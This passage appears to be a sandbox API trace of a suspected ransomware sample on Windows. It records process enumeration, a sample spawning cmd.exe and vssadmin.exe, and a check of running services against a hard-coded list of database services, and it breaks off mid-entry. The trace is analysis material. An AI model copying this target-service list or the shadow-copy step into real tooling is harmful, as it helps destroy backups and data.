lstrlenW (lpString="svchost.exe") returned 11 [0052.148] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.148] lstrlenW (lpString="taskeng.exe") returned 11 [0052.148] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.149] lstrlenW (lpString="taskhost.exe") returned 12 [0052.149] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0052.149] lstrlenW (lpString="promotesrouting.exe") returned 19 [0052.149] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0052.150] lstrlenW (lpString="rxcalled.exe") returned 12 [0052.150] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0052.150] lstrlenW (lpString="off.exe") returned 7 [0052.150] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0052.151] lstrlenW (lpString="mayorintl.exe") returned 13 [0052.151] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0052.152] lstrlenW (lpString="gzip-june.exe") returned 13 [0052.152] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0052.152] lstrlenW (lpString="lsnavy.exe") returned 10 [0052.152] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0052.153] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0052.153] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0052.153] lstrlenW (lpString="specifications.exe") returned 18 [0052.153] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0052.154] lstrlenW (lpString="soup-mario.exe") returned 14 [0052.154] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0052.628] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0052.631] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0052.651] lstrlenW (lpString="platformsprivate.exe") returned 20 [0052.652] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0052.652] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0052.652] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0052.653] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0052.653] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0052.654] lstrlenW (lpString="scan-allows.exe") returned 15 [0052.654] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0052.654] lstrlenW (lpString="mwprovince.exe") returned 14 [0052.654] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0052.656] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0052.656] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0052.656] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0052.656] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0052.657] lstrlenW (lpString="contacting.exe") returned 14 [0052.657] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0052.658] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0052.658] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0052.658] lstrlenW (lpString="jpmanagers.exe") returned 14 [0052.658] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0052.659] lstrlenW (lpString="motor.exe") returned 9 [0052.659] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0052.660] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0052.660] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0052.660] lstrlenW (lpString="toshiba.exe") returned 11 [0052.660] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.661] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.661] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0052.662] lstrlenW (lpString="mobsync.exe") returned 11 [0052.662] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0052.662] lstrlenW (lpString="3G6885.exe") returned 10 [0052.662] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.663] lstrlenW (lpString="cmd.exe") returned 7 [0052.663] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.663] lstrlenW (lpString="conhost.exe") returned 11 [0052.663] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.664] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.664] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.664] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.664] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0052.665] CloseHandle (hObject=0x204) returned 1 [0052.665] Sleep (dwMilliseconds=0x1f4) [0053.416] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6400d0 [0053.416] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0053.416] GetLastError () returned 0xea [0053.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x36b4738 [0053.417] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b4738, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b4738, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0053.418] CloseServiceHandle (hSCObject=0x6400d0) returned 1 [0053.418] lstrlenW (lpString="Appinfo") returned 7 [0053.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.418] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.418] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.418] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.418] lstrlenW (lpString="AudioSrv") returned 8 [0053.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.418] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.418] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.418] lstrlenW (lpString="BFE") returned 3 [0053.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.419] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.419] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.419] lstrlenW (lpString="CryptSvc") returned 8 [0053.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.419] lstrlenW (lpString="CscService") returned 10 [0053.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.419] lstrlenW (lpString="DcomLaunch") returned 10 [0053.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.419] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.419] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.419] lstrlenW (lpString="Dhcp") returned 4 [0053.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.419] lstrlenW (lpString="Dnscache") returned 8 [0053.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.420] lstrlenW (lpString="DPS") returned 3 [0053.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.420] lstrlenW (lpString="eventlog") returned 8 [0053.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.420] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.420] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.420] lstrlenW (lpString="EventSystem") returned 11 [0053.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.424] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.424] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.424] lstrlenW (lpString="gpsvc") returned 5 [0053.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.424] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.424] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.424] lstrlenW (lpString="iphlpsvc") returned 8 [0053.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.424] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.425] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.425] lstrlenW (lpString="LanmanServer") returned 12 [0053.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.425] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.425] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.425] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.425] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.425] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.425] lstrlenW (lpString="lmhosts") returned 7 [0053.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.425] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.425] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.430] lstrlenW (lpString="MMCSS") returned 5 [0053.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.430] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.430] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.430] lstrlenW (lpString="MpsSvc") returned 6 [0053.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.430] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.430] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.430] lstrlenW (lpString="Netman") returned 6 [0053.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.430] lstrlenW (lpString="netprofm") returned 8 [0053.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.430] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.430] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.431] lstrlenW (lpString="NlaSvc") returned 6 [0053.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.431] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.431] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.431] lstrlenW (lpString="nsi") returned 3 [0053.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.431] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.431] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.431] lstrlenW (lpString="PcaSvc") returned 6 [0053.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.431] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.431] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.431] lstrlenW (lpString="PlugPlay") returned 8 [0053.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.431] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.431] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.431] lstrlenW (lpString="Power") returned 5 [0053.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.432] lstrlenW (lpString="ProfSvc") returned 7 [0053.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.432] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.432] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.432] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.432] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.432] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.432] 